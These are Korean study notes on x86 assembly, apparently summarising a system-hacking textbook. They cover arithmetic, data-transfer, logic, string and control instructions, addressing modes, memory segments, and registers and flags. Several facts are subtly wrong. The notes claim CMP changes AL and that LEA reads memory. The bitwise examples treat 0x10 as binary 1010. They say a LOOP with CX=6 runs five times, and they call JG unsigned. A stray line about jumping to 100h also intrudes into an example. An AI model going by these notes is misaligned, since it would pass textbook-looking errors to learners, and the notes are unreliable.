'한빛아카데미 - 시스템 해킹과 보안' 교재에 관한 내용입니다.


산술 연산 명령: 기본적인 정수 계산

• ADD(Add)

- 제1피연산자와 제2피연산자 값을 더한 결과 값을 제1피 연산자에 저장

형식 ADD [제1피연산자] [제2피연산자]
사용 예 ADD AL 4
AL이 원래 3이었다면, 명령 실행 후 AL은 7이 됨

 

 SUB(Subtract)

- 제1피연산자에서 제2피연산자 값을 뺀 결과 값을 제1피연산자에 저장

형식 SUB [제1피연산자] [제2피연산자]
사용 예 SUB AL 4
AL이 원래 7이었다면, 명령 실행 후 AL은 3이 됨

 

• CMP(Compare)

- 데이터의 두 값 비교 시 사용. ‘cmp a, b’의 경우 a에서 b를 뺀 값이 0이면 참

- 제 1피연산자 - 제 2피연산자 결과가 0이면 T, 1이면 F

형식 CMP [제1피연산자] [제2피연산자]
사용 예 CMP AL 4
AL이 원래 7이었다면, 명령 실행 후에는 3이 되고 0이 아니므로 거짓이 됨

 

• 기타 산술 연산 명령

명령 설명
ADC ADd with Carry 캐리를 포함한 덧셈 수행
SBB SuBtraction with Borrow 캐리를 포함한 뺄셈 수행
DEC DECrement 피연산자 내용을 1 감소 시킴
NEG Change Sign 피연산자 2의 보수로 부호를 반전
INC INCrement 피연산자 내용을 1 증가 시킴
AAA ASCII Adjust for Add 덧셈 결과의 AL 값을 UNPACK 10진수로 보정
DAA Decimal Adjust for Add 덧셈 결과의 AL 값을 PACK 10진수로 보정
AAS ASCII Adjust For Subtact 뺄셈 결과의 AL 값을 UNPACK 10진수로 보정
DAS Decimal Adjust for Subtract 뺼셈 결과의 AL 값을 PACK 10진수로 보정
MUL MUltipLy (Unsigned) AX와 피연산자의 곱셈 결과를 AX 또는 DX:AX에 저장
IMUL Integer MULtiply (Signed) 부호화된 곱셈 수행
AAM ASCII Adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정
DIV DIVide (Unsigned) AX 또는 DX:AX 내용을 피연산자로 나누고, 몫은 AL 또는 AX에 저장한 다음 나머지는 AH 또는 DX에 저장
IDIV Integer DIVide (Signed) 부호화된 나눗셈 수행
AAD ASCII Adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정
CBW Convert Byte to Word AL의 바이트 데이터를 부호 비트를 포함해 AX 워드로 확장
CWD Convert Word to Double word AX 워드 데이터를 부호를 포함해 DX:AX의 더블 워드로 변환

 

데이터 전송 명령

- 메모리, 범용 레지스터, 세그먼트 레지스터로 참조되는 주소에 존재하는 데이터 전송

 

• MOV(Move): 데이터 이동할 때 사용

- BP의 현재 값이 0x10000004라면, BP+8은 0x1000000C

- 0x1000000C 번지에 저장되어 있는 값이 1024므로 AX에는 1024가 입력

형식 MOV [제1피연산자] [제2피연산자]
사용 예 MOV AX [BP+8]
BP의 주소에 8 더한 주소에 있는 데이터 값을 AX에 대입함

MOV 명령을 실행할 때 스택 동작

 

• PUSH(Push): 스택에 데이터를 삽입할 때 사용

- 아래 그림과 같이 스택은 커지고, 스택 포인터(Stack Pointer)는 데이터 크기만큼 감소

형식 PUSH [제1피연산자]

PUSH 명령을 실행할 때 스택 동작

• POP(Pop): 스택에서 데이터 삭제할 때 사용. 스택에서 삭제된 명령은 함수의 반환 값으로 받아 사용도 가능

- 아래 그림과 같이 스택 포인터는 삭제하는 데이터 크기만큼 증가

형식 POP [제1피연산자]

POP 명령을 실행할 때 스택 동작

 

• LEA(Load effective address to register)

- 데이터의 값을 이동할 때 사용

- MOV 명령과 LEA 명령에서 제1피연산자는 데이터 이동의 목적지인 것은 같지만, 제2피연산자에 대한 추가 연산의 처리 방식은 다름

- 제2피연산자에‘BP+4’가 있을 경우 MOV 명령은 ‘BP+4’를 하나의 주소 값으로 처리

- LEA 명령은 ‘BP’만 주소 값으로 인식하고 ‘+4’는BP 주소 값에 대한 추가 연산으로 처리

- MOV는 BP+4가 주소가 되지만, LEA는 주소가 BP가 되고 BP에 들어있는 값에 +4가 됨

형식 LEA [제1피연산자] [제2피연산자]
사용 예 LEA AX [BP+4]
BP의 현재 값이 0x10000004라면, MOV 명령처럼 BP+4인 0x10000008의 주소 값을 가져오는 것이 아닌 0x10000004의 주소에 있는 값에 4를 더해 AX에 대입

LEA 명령을 실행할 때 스택 동작

- 0×10000004 번지에 저장되어 있는 값은 46 0×10000008은 AX가 가리키는 번지

 

• 기타 데이터 전송 명령

명령 설명
XCHG Exchange Register /
Memory with Register
첫 번째 피연산자와 두 번째 피연산자를 바꿈
IN Input from AL / AX to Fixed
port
피연산자로 지시한 포트로 AX에 데이터를 입력
OUT Output from AL / AX to
Fixed port
피연산자가 지시한 포트로 AX의 데이터 출력
XLAT Translate byte to AL BX:AL이 지시한 테이블 내용을 AL로 로드
LES Load Pointer to ES LEA 명령과 유사한 방식으로 다른 ES 데이터의 주소 내용을 참조할 때 사용
LAHF Load AH with Flags 플래그 내용을 AH의 특정 비트로 로드
SAHF Store AH into Flags AH의 특정 비트를 플래그 레지스터로 전송
PUSHF Push Flags 플래그 레지스터 내용을 스택에 삽입
POPF Pop Flags 스택에 저장된 플래그 레지스터 값 삭제

 

논리 명령

- 연산부호가 논리연산을 지정하는 명령으로 자리옮김, 논리 합(OR), 논리곱(AND), 기호 변환 등이 있다

 

• AND(And): 대응되는 비트가 둘 다 1일 때만 결과가 1 이고, 그 이외는 모두 0

형식 AND [제1피연산자] [제2피연산자]
사용 예 AND AX 10h
AX 값이 0x08h일 때, 이를 2진수로 표현하면 1000이 됨
0x10h는 1010이므로 명령을 수행한 후 AX 값은 1000이 됨

 

• OR(Or): 대응되는 비트 중 하나만 1이어도 결과가 1이고, 둘 다 0인 경우에만 0

형식 OR [제1피연산자] [제2피연산자]
사용 예 OR AX 10h
AX 값이 0x08h일 때, 이를 2진수로 표현하면 1000이 됨
0x10h는 1010이므로 명령을 수행한 후 AX 값은 1010이 됨

 

• XOR(Exclusive Or): 대응되는 비트 중에서 한 비트가 1이고 다른 비트가 0이면 1, 두 개의 비트가 모두 0 또는 1일 때 0

형식 XOR [제1피연산자] [제2피연산자]
사용 예 XOR AX 10h
AX 값이 0x08h일 때, 이를 2진수로 표현하면 1000이 
0x10h는 1010이므로 명령을 수행한 후 AX 값은 0010이 

 

• NOT(Invert): 피연산자의 1의 보수를 구하는 작동 코드로, 각 비트를 반전

형식 NOT [제1피연산자]
사용 예 NOT AX
AX 값이 0x08h라면 이를 이진수로 표현하면 1000이 
명령을 수행한 뒤에 AX 값은 0111이 

 

• Test(And function to flags, no result): 데이터의 두 값 비교할 때 사용, 데이터의 변경 없이 단순 비교

형식 TEST [제1피연산자] [제2피연산자]
사용 예 TEST AL 10h
두 데이터가 같으면 ZF(Zero flag)
세트 같지 않으면 ZF는 클리어

 

•  기타 논리 명령

명령 설명
SHL / SAL Shift Left / Shift Arithmetic Left 왼쪽으로 피연산자만큼 자리옮김(이동)
SHR / SAR Shift Right / Shift Arithmetic Right 오른쪽으로 피연산자만큼 자리옮김(이동)
ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동
ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동
RCL Rotate through Carry Left 자리 올림(Carry)을 포함 왼쪽으로 피연산자만큼 회전 이동
RCP Rotate through Carry Right 자리 올림(Carry)을 포함 오른쪽으로 피연산자만큼 회전 이동

 

스트링 명령

- 바이트로 구성된 스트링(strings of bytes)을 메모리 내에서 전송

 

• REP(Repeat)

- ADD나 MOVS와 같은 작동 코드의 앞에 위치

- CX가 0이 될 때까지 뒤에 오는 스트링 명령 반복

 

• MOVS(Move String)

- 바이트나 워드, 더블워드 옮기는 명령 - MOVSB, MOVSW, MOVSD

형식 MOVSB
사용 예                       LEA                      SI,                       String_1
                      LEA                      DI,                       String_2
                      MOV                       CX,                      384
REP               MOVSB
LEA SI, String_1 : String 1의 주소 값을 SI (Source Index)에 저장
LEA DI, String_2 : String 2의 주소 값을 DI (Destination Index)에 저장
MOV CX, 384 : CX에 384를 저장
REP MOVSB : SI에서 DI까지 CX가 0이 될 때까지 1바이트씩 복사

 

• 기타 스트링 명령

명령 설명
CMPS CoMPare String DS:SI와 ES:DI 내용을 비교한 결과에 따라 플래그 설정
SCAS SCAn String AL 또는 AX와 ES:DI가 지시한 메모리 내용을 비교한 결과에 따라 플래그 설정
LODS LOaD String SI 내용을 AL 또는 AX로 로드
STOS STOre String AL 또는 AX를 ES:DI가 지시하는 메모리에 저장

 

제어 전송 명령

- 점프(분기, Jump), 조건 점프(조건 분기, Conditional jump), 루프(Loop), 호출(Call)과 리턴(Return) 연산 등으로 프로그램의 흐름 제어

 

 JMP(Unconditional Jump)

- 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

형식 JMP                                         [제1피연산자]
사용 예 JMP                                               100h
주소로 직접 지정한 100h번지로 점프함
 String:                       MOV                  CX,                      384
                                    ...
                                  JMP                  String
라벨로 JMP를 지정하는 경우

 

 조건부 점프 명령

명령 점프 조건 설명
JC Carry Flag Set CF = 1 CF 값이 1이면 점프
JNC Not Carry Flag Set CF = 0 CF 값이 0이면 점프
JE / JZ Equal / Zero ZF = 1 결과가 0이면 점프
JA / JNBE above / Not below Not Equal CF = 0 and ZF = 0 결과가 크면 점프 (부호화되지 않은 수)
JAE / JNB above Or Equal / Not below CF = 0 결과가 크거나 같으면 점프 (부호화되지 않은 수)
JB / JNAE below / Not above Nor below CF = 1 결과가 작으면 점프 (부호화되지 않은 수)
JL / JNGE Less / Not Greater Nor Equal SF != OF 결과가 작으면 점프 (부호화된 수)
JBE / JNA below Or Equal / Not above (CF or ZF) = 1 결과가 작거나 같으면 점프 (부호화되지 않은 수)
JG / JNLE Greater / Not Less Nor Equal ZF = 0 and SF = OF 결과가 크면 점프 (부호화되지 않은 수)
JGE / JNL Greater Or Equal / Not Less SF = OF 결과가 크거나 같으면 점프 (부호화된 수)
JLE / JNG Less Or Eqal / Not Greater ZF = 1 or SF != OF 결과가 작거나 같으면 점프 (부호화되지 않은 수)
JNE / JNZ Not Equal / Not Zero ZF = 0 결과가 0이 아니면 점프
JNO Not Overflow OF = 0 오버플로가 아니면 점프
JNP / JPO Not Parity / Parity Odd PF = 0 PF가 1이면 점프
JNS Not sign SF = 0 SF가 1이면 점프
JO Overflow OF = 1 오버플로 발생 시 점프
JP / JPE Parity / Parity Even PF = 1 PF가 1이면 점프
JS Sign SF = 1 SF가 1이면 점프
JCXZ CX Zero CX = 0 CX가 0이면 점프

- above, below : 부호 없는 두 수의 크기 관계

- greater, less : 부호 있는 두 수의 크기 관계

 

• CALL(Call)

- JMP처럼 함수 호출할 때 사용, 제1피연산자에 라벨을 지정

 

• RET(Return from CALL)

- 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 ‘POP EIP’와 같은 의미

(1)                               CALL                               SUBR

(4)                                ADD                                  AX,                               10
                                     ....
(2) SUBR :                   INC                                   AX
                                     ....
(3)                                RET

- AX에는 09 값이 저장되어 있다 가정

- (1) SUBR 함수 호출하면, (2) SUBR 라벨이 있는 곳에서 RET까지 실행

- INC AX가 있으므로 AX는 10이 됨

- (3) RET 명령이 실행되면 CALL 다음 라인인 (4) ADD AX, 10’ 실행, AX는 20

 

• LOOP(Loop CX times)

- 문장들의 블록을 지정된 횟수만큼 반복

- CX는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

 

형식 LOOP                                            [제1피연산자]
사용 예                                    MOV                  AX,                      0
주소로 직접 지정한 100h번지로 점프함
                                   MOV                  CX,                      6
 
          L1:                    INC                  AX
                                   LOOP              L1
제1피연산자는 라벨이 됨
위 예시에서 L1이 CX 숫자만큼 다섯 번 회전하므로 결과적으로 AX는 5가 됨

 

• INT(Interrupt)

- 인터럽트가 호출되면 CS:IP(Code Segment : Instruction Pointer)와 플래그를 스택에 저장

- 그 인터럽트에 관련된 서브 루틴이 실행

형식 INT [제1피연산자]

 

프로세스 제어 명령

• STC(Set Carry): 명령은 피연산자 없이 사용, EFLAGS 레지스터의 CF 값을 세트

 

• NOP(No Operation): 아무 의미 없는 명령, 일종의 빈 칸을 채우려고 사용

 

 기타 프로세스 제어 명령

명령 설명
CLC CLear Carry 캐리 플래그 클리어
CMC CoMplement Carry 캐리 플래그 반전
HLT HaLT 정지
CLD CLear Direction 디렉션 플래그 클리어
CLI CLear Interrupt 인터럽트 플래그 클리어
STD SeT Direction 디렉션 플래그 세트
STI SeT Interrupt 인터럽트 인에이블 플래그를 세트
WAIT WAIT 프로세스 일시 정지 상태
ESC ESCape to External Device 종료 명령

 

'한빛아카데미 - 시스템 해킹과 보안' 교재에 관한 내용입니다.


어셈블리어의 구조

- Intel 문법과 AT&T 문법이 있음

- 윈도우에서는 Intel 문법 사용

- 리눅스에서는 AT&T 문법 사용

- Intel 문법에서는 목적지 (destination)가 먼저 오고 원본(source)이 뒤에 오지만, AT&T에서는 반대

- Intel 문법에서 어셈블리어의 명령 형식은 다음과 같음

Label:
라벨
MOV
작동 코드
AX
제 1피연산자
BX
제 2피연산자
; comment
설명

 

• 데이터 타입

- 바이트(Byte) : 1바이트(8비트) 데이터 항목

- 워드(Word) : 2바이트(16비트) 데이터 항목

- 더블워드(Doubleword) : 4바이트(32비트) 데이터 항목

 

어셈블리어의 데이터 타입과 리틀 엔디언 방식

- CPU 종류, 운영체제 종류에 따라 빅 에디언 또는 리틀 에디언 사용이 다름

 

• 리틀 엔디언 방식

- 2개의 번지로 나누어 저장해야 하는 16비트 데이터(워드)의 경우 하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

- 예) hex 값 0x34F3을 1500번지에 저장하려면 하위값 0xF3은 1500번지에, 상위 값 0x34는 1501번지에 저장

주소 1500번지 1501번지
저장된 데이터 F3 34

 

 빅 엔디언 방식

- 일반적인 방식 - 예) hex 값 0x34F3을 1500번지에 저장하려면 0x34은 1500번지에, 0xF3는 1501번지에 저장

 

어셈블리어의 주소 지정 방식

• 레지스터 주소 지정

- 레지스터의 주소 값을 직접 지정 복사

- 처리 속도 가장 빠름

MOV DX, BX

 

• 직접 메모리 주소 지정

- 가장 일반적인 주소 지정 방식

- 보통 피연산자 하나가 메모리 위치를 참조하고, 다른 하나는 레지스터를 참조

- DS:[8088h]와 DS:[1234h]는 각각 ‘세그멘트:오프셋’형식의 메모리에 직접 접근하는 방식

MOV AL, DS:[8088h]
MOV DS:[1234h], DL

 

• 레지스터 간접 주소 지정

- ‘세그멘트:오프셋’형식을 사용, 세그먼트를 명시적으로 적지 않음

MOV AL, [BX]
MOV AL, [BP]

 

- 다음과 같이 기본이 아닌 세그먼트를 강제로 지정할 수도 있음

MOV AL, CS:[BX]
MOV AL, DS:[BP]

 

• 인덱스 주소 지정

- 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식

- 예) 20h만큼 더해 메모리를 참조한 명령

 

- 다음과 같이 바꿔서 표현할 수 있음

MOV AL, 20h [BX]
MOV AL, 20h [BP]

 

• 베이스 인덱스 주소 지정

- 실제 주소 생성 위해 베이스 레지스터(BX 또는 BP)와 인덱스 레지스터(DI 또는 SI)를 결합

- 2차원 배열의 주소 지정에 사용

MOV AL, [BX+SI]
MOV AL, [BP+SI]

 

- 다음과 같이 바꿔서 표현할 수 있음

MOV AL, [BX] [SI]
MOV AL, [BP] [SI]

 

• 변위를 갖는 베이스 인덱스 주소 지정

- 베이스-인덱스의 변형으로 실제 주소 생성 위해 베이스 레지스터, 인덱스 레지스터, 변위 결합

MOV AL, [BX+SI+20h]
MOV AL, [BP+SI+20h]

- 다음과 같이 바꿔서 표현할 수 있음

MOV AL, [BX] [SI] [20h]
MOV AL, [BP] [SI] [20h]

 

'한빛아카데미 - 시스템 해킹과 보안' 교재에 관한 내용입니다.


•  80x86 시스템 메모리 구조

 

 스택

- 후입선출(LIFO : Last-In, First Out) 방식에 의해 정보를 관리

- Top이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

- 가장 나중에 삽입된 정보가 가장 먼저 읽힘

- 컴퓨터 메모리 상의 스택은 프로그램 함수 내부에서 정의

- 함수 종료와 동시에 사라지는 자동 변수가 저장되고 함수를 호출할 때 함수 내부의 로컬 변수 등이 저장되는 곳

- 스택은 함수 실행 동안에만 존재하며, 종료 시 해당 변수들도 사라짐

- ESP 레지스터는 항상 스택의 가장 위(스택의 끝)를 가리킴

 

 힙(Heap)

- 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는 기억 장소영역

- 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에 존재하는 기억 장소를 프로그램에 할당

- 기억 장치가 더 이상 필요 없으면 할당 받았던 기억 장소를 운영체제에 반납, 운영체제에서는 반납된 기억 장소를 다시 힙에 돌려줌

- 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

- 연결 리스트, 트리, 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

char * p = new char[1000];

 

BSS 세그먼트

- 초기화 되지 않은 데이터 세그먼트(Uninitalized data segment)라고 불리며, 프로그램이 실행될 때 0이나 NULL 포인터로 초기화

- 외부 변수나 static 변수 중 초기화 되지 않은 변수들을 저장하는 영역

static int a;

 

 데이터 세그먼트

- 초기화된 외부 변수나 static 변수 등이 저장되는 영역

static int a = 1;

텍스트 세그먼트

- CPU로 실행되는 머신 코드가 있는 영역으로, EIP가 다음에 실행하는 명령을 가짐

 

 초기 8086 시스템 메모리 구조

- 초기 8086 CPU 사용하던 컴퓨터는 메모리 크기가 1MB 였음

 

• 메모리 접근 모드

1 | 실제모드

- X86계열로 처음 등장한 8086 CPU에 사용

- 프로그램이 실제 메모리에 바로 접근하는 방식

2 | 보호모드 - 80286부터 도입된 보호 모드(Protected Mode)는 32비트 CPU 80386에서 완성

- 프로그램이 각자의 가상 메모리 영역에 할당됨 - 다른 프로그램의 접근을 막는 데이터 보호 기능 제공

 

• 실제 모드

- 20비트 주소 버스로 총 1MB(𝟐 𝟐𝟎 = 𝟏, 𝟎𝟒𝟖, 𝟓𝟔𝟕) 메모리 사용 가능

- 16비트 레지스터로 20비트 주소를 나타내기 위해 세그먼트 레지스터 도입

- 아래 그림 처럼, 16비트 세그먼트 레지스터와 16비트 오프셋을 중첩시켜 20비트의 물리 주소 생성

- 세그먼트 주소인 CS 레지스터가 0x2525h 

- 오프셋인 IP가 0x95F3h면 0x2525h 뒤에 한 자리의 0x0h를 붙여 0x95F3h를 더한 0x2E843h가 실제 가리키는 물리 주소가 됨

- 이를 2525h:95F3h 또는 [CS]: 95F3h

20비트 메모리 주소 구성 예

세그먼트 레지스터 오프셋 레지스터
CS IP
DS SI, DI, BX
SS SP, BP
ES SI, DI, BX

 

- 모든 메모리 접근에는 세그먼트와 오프셋이 함께 필요하며, 세그먼트 하나를 사용하면 64KB (2^16 = 65,536) 메모리 사용 가능

- 모든 프로그램은 처음 시작할 때는 실제 모드에서 동작

- 실제 모드에서 동작하는 프로그램은 메모리의 어떤 영역이든지 마음대로 접근 가능

 

 보호 모드

- 32비트 주소 버스를 통해 4GB의 메모리를 사용 가능

- 메모리 보호 기능과 페이징(Paging) 등을 통해 가상 메모리 구현

- 세그먼테이션(Segmentation)과 페이징을 이용하여 메모리 관리

- 세그먼테이션은 4GB의 메모리를 세그먼트 단위로 쪼갠 것

- 16비트의 셀렉터(Selector)와 32비트의 오프셋을 이용해 32비트 선형 주소(linear address)를 만듦

- 선형주소는 4KB 단위로 쪼개서 관리하는 페이징을 이용하여 물리주소로 변환됨

 

보호 모드에서의 메모리 변환 과정

 

 

'한빛아카데미 - 시스템 해킹과 보안' 교재에 관한 내용입니다.


• 인텔 CPU 모델별 관련 정보

• 80×86 시스템 CPU의 구조
- 연산장치, 제어장치, 레지스터

 

• 연산장치 (ALU:Arithmetic and Logic Unit)

- 연산 장치는 CPU(중앙 처리 장치)의 핵심 부분 중 하나

- 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성

구성 요소 기능
내부 장치 가산기(Adder) 덧셈 연산 수행
보수기(Complementer) 뺄셈 연산 수행
1의 보수나 2의 보수 방식 이용
시프터(Shifter) 비트를 오른쪽이나 왼쪽으로 이동하여 나 눗셈과 곱셈 연산 수행
관련 레지스터 누산기(Accumulator) 연산의 중간 결과 저장
데이터 레지스터 (Data Register) 연산에 사용할 데이터 저장
상태 레지스터 (Status Register) 연산 실행 결과로 나타나는 양수와 음수, 자리올림, 오버 플로우의 상태 기억

 

• 제어 장치(Control Unit)

- 제어 장치(Control Unit)는 입력, 출력, 기억, 연산 장치를 제어하고 감시

- 주기억 장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

 

구성 요소 기능
내부 장치 명령 해독기(Instruction Decoder) 명령 레지스터에 있는 명령을 해독하여 부호기로 전송
부호기(Decoder) 명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송
주소 해독기(Address Decoder) 명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소 로 변환한 후, 이를 데이터 레지스터에 저장
관련 레지 스터 프로그램 카운터(Program Counter) 다음에 실행할 명령의 주소 저장
명령 레지스터(Instruction Register) 현재 실행 중인 명령 저장
메모리 주소 레지스터(Memory Address Register) 주기억 장치의 번지 저장
메모리 버퍼 레지스터
(Memory Buffer Register)
메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

 

• 레지스터

- 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

- 연산 장치나 제어 장치에 함께 포함되어 있음

- 우리가 중요한 내용을 잊지 않게 메모하듯, 프로그램도 레지스터를 이용해서 메모함

- 32비트 운영체제에서는 기본적으로 레지스터가 32비트로, 16비트나 8비트로 나누어 사용하기도 함

 

- 범용 레지스터 - 연산 장치가 수행한 계산 결과의 임시 저장, 산술 및 논리 연산, 주소 색인 등의 목적으로 사용

- 세그먼트 레지스터 - 프로그램에 정의된 메모리상의 특정 영역으로 코드, 데이터, 스택 등을 포함

- 포인터 레지스터 - 프로그램 실행 과정에서 사용되는 주요 메모리 주소값 저장

- 인덱스 레지스터 - 메모리의 한 영역(Souce)에서 다른 영역(Destination)으로 데이터를 연속적으로 복사할 때 사용

- 플래그 레지스터 - 32비트로, 컴퓨터의 다양한 상태를 나타내는 비트 포함

범주 80386 레지스터 이름 용도
범용 레지스터 32bit
(General Register)
EAX 누산기
(Accmulator)
산술 및 논리 연산에 사용하고 함수의 결과(return)값 저장
EBX 베이스 레지스터
(Base Register)
특정 메모리 주소 저장
(주소 지정을 확대하기 위한 인덱스로 사용)
ECX 카운트 레지스터
(Count Register)
반복적으로 실행되는 특정 명령에 사용
(루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억)
EDX 데이터 레지스터
(Data Register)
일반 자료 저장(입출력 동작에 사용)

 

범주 80386 레지스터 이름 용도
세그먼트 레지스터16bit
(Segment Register)
CS 코드 세그먼트 레지스터
(Code Segment Register)
실행될 기계 명령어가 저장된 메모리 주소 지정
DS 데이터 세그먼트 레지스터
(Data Segment Register)
프로그램에서 정의된 데이터, 상수, 작업 영역의 메모리 주소 지정
SS 스택 세그먼트 레지스터
(Stack Segment Register)
프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine)이 사용할 데이터와 주소 저장
ES, FS, GS 엑스트라 세그먼트 레지스터
(Extra Segment Register)

문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

 

범주 80386 레지스터 이름 용도
포인터 레지스터 32bit
(Pointer Register)
EBP 베이스 포인터 (Base Pointer) SS 레지스터와 함께 사용되어 스택 내 의 변수 값을 읽는 데 사용
ESP 스택 포인터 (Stack Pointer) SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴
EIP 명령 포인터 (Instruction Pointer) 다음 명령어의 오프셋(Offset, 상대 위 치 주소)을 저장하며 CS 레지스터와 합 쳐져 다음에 수행될 명령의 주소 형성
인덱스 레지스터 32bit
(Index Register)
EDI 목적지 인덱스 (Destination Index) 목적지 주소에 대한 값 저장
ESI 출발지 인덱스 (Source Index) 출발지 주소에 대한 값 저장
플래그 레지스터 32bit EFLAGS 플래그 레지스터 (Flag Register) 연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장
 

범용 레지스터

- 연산 장치가 수행한 계산 결과의 임시 저장, 산술 및 논리 연산, 주소 색인 등의 목적으로 사용

- EAX, EBX, ECX, EDX등이 있음

- EAX, EBX, ECX, EDX는 32비트 레지스터로 앞의 E는 ‘확장된(Extended)’을 의미

- 이 레지스터의 오른쪽 16비트를 각각 AX, BX, CX, DX라 부르고, 이 부분은 다시 둘로 나뉨

- 예를 들어, AX는 왼쪽 8비트 상위(high) 부분을 AH, 오른쪽 8비트 하위(low) 부분을 AL이라 함

• EAX 레지스터(Accmulator)

- 누산기, 입출력과 대부분 산술 연산에 사용 - 곱셉, 나눗셈, 변환 명령은 EAX 사용

- Win32 API 함수들은 모두 리턴 값을 EAX에 저장 후 리턴

 

• EBX 레지스터(Base Register)

- DS 세그먼트에 대한 포인터를 주로 저장

- BX는 메모리 주소 지정을 확장하기 위한 인덱스로 사용하는 유일한 범용 레지스터

- ESI나 EDI와 결합하여 인덱스에 사용

 

• ECX 레지스터(Count Register)

- 루프가 반복되는 횟수를 제어하는 값. 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함

 

• EDX 레지스터(Data Register)

- 입출력 연산에 사용

- 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

 

세그먼트 레지스터

- 프로그램에 정의된 메모리상의 특정 영역으로 코드, 데이터, 스택 등을 포함

- 세그먼트: 메모리를 구성하는 하나의 단위

- 세그먼트 레지스터는 각 세그먼트의 주소를 지정

- CS, DS, SS 레지스터가 기본 구성

- ES, FS, GS 레지스터는 여분 (거의 사용되지 않음)

 

• CS 레지스터

- 실행될 기계 명령을 포함하는 코드 세그먼트의 시작 주소를 가리킴

 

• DS 레지스터

- 프로그램에 정의된 데이터, 상수, 작업 영역을 포함

- 데이터 세그먼트의 시작 주소를 가리킴

- 데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

 

• SS 레지스터

- 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용

- 스택 세그먼트의 시작 주소를 가리킴

 

포인터 레지스터

- 프로그램 실행 과정에서 사용되는 주요 메모리 주소값 저장

 

• EBP 레지스터(Extended Base Pointer Register)

- 스택 세그먼트에서 현재 호출해서 사용하는 함수의 시작 주소 값 저장

- 함수로 전달되는 지역변수 등을 참조할 때 기준이 되며 ESP 레지스터와 함께 사용되어 스택 프레임(Stack frame)을 형성 - 실제 메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용

 

• ESP 레지스터(Extended Stack Pointer Register)

- 현재 스택 영역에서 가장 하위 주소를 저장

- EBP와 마찬가지로 실제 메모리상의 주소를 참조할 때SS(Stack Segment) 레지스터와 함께 사용

 

• EIP 레지스터(Extended Instruction Pointer Register)

- 다음에 실행될 명령의 오프셋을 포함

- 현재 실행 중인 코드 세그먼트에 속한 현재 명령 가리킴

- CS(Code Segment) 레지스터와 함께 사용

 

인덱스 레지스터

• ESI & EDI

- 메모리의 한 영역(Source, 출발지)에서 다른 영역(Destination, 목적지)으로 데이터를 연속적으로 복사할 때 사용

- 예로들면 문자열을 복사하는 strcpy함수에서 Source의 문자열을 Destination 으로 복사할 때 두 메모리 주소를 저장하는 데 ESI와 EDI레지스터 사용

 

플래그 레지스터

- 32비트 크기

- 컴퓨터의 다양한 상태를 나타내는 비트들을 포함

- 상태 플래그, 제어 플래그, 시스템 플래그로 구성

 상태 플래그: 산술 명령(ADD, SUB, MUL, DIV) 결과를 반영

- CF(Carry Flag, 비트 0) : 산술 연산 결과로 자리내림 발생할 때 세트(1)

- ZF(Zero Flag, 비트 6) : 산술 연산 결과 0이면 세트(1), 이외에는 클리어(0)

- OF(Overflow Flag, 비트 11) : 부호가 있는 수의 오버플로우가 발생하거나 MSB(Most Significant Bit)가 변경되었을 때 세트

- PF(Parity Flag / 비트 2) : 산술 연산 결과가 짝수이면 세트(1)

- AF(Adjust Flag / 비트 4) : 8비트 피연산자를 사용한 산술 연산에서 비트 3을 비트 4로 자리올림하면 세트(1)

- SF(Sign Flag / 비트 7) : 산술 및 논리 연산 결과가 음수이면 세트(1) 

 

 제어 플래그(Control Flag): 스트링 명령(MOVS,CMPS, SCAS, LODS, STOS)을 제어

- DF 1이면 스트링 명령 자동 감소, 0이면 자동 증가 즉, 1이면 스트링을 높은 주소에서 낮은 주소로 처리, 0이면 스트링을 낮은 주소에서 높은 주소로 처리

 

시스템 플래그(System Flag)

- TF(Trap Flag, 비트 8) : 디버깅 시 Single Step Mode 모드를 활성화하면 세트

- IF(Interrupt enable Flag, 비트 9) : 프로세서의 인터럽트처리 여부를 제어

- IOPL(I/O Privilege Level, 비트 12/13) : 현재 실행되는 프로그램이나 Task의 입출력 특권 레벨 지시

- NT(Nested Task flag, 비트 14) : 인터럽트 되거나 호출된 태스크를 제어

- RF(Resume Flag, 비트 16) : 프로세서의 디버그 예외 반응을 제어, 세트 되어 있으면 디버그 오류를 무시하고 다음 명령어 수행

- VM(Virtual 8086 Mode flag, 비트 17) : V86 모드를 활성화하면 세트

- AC(Alignment Check, 비트 18) : 메모리 참조 시 정렬 기능을 활성화하면 세트

- VIF(Virtual Interrupt Flag, 비트 19), VIP(Virtual Interrupt Pending, 비트 20) : 가상 모드 확장과 관련해 사용

- ID(IDentification, 비트 21) : CPUID 명령의 지원 유무를 결정

'한빛아카데미 - 시스템 해킹과 보안' 교재에 관한 내용입니다.


• 운영체제 개념

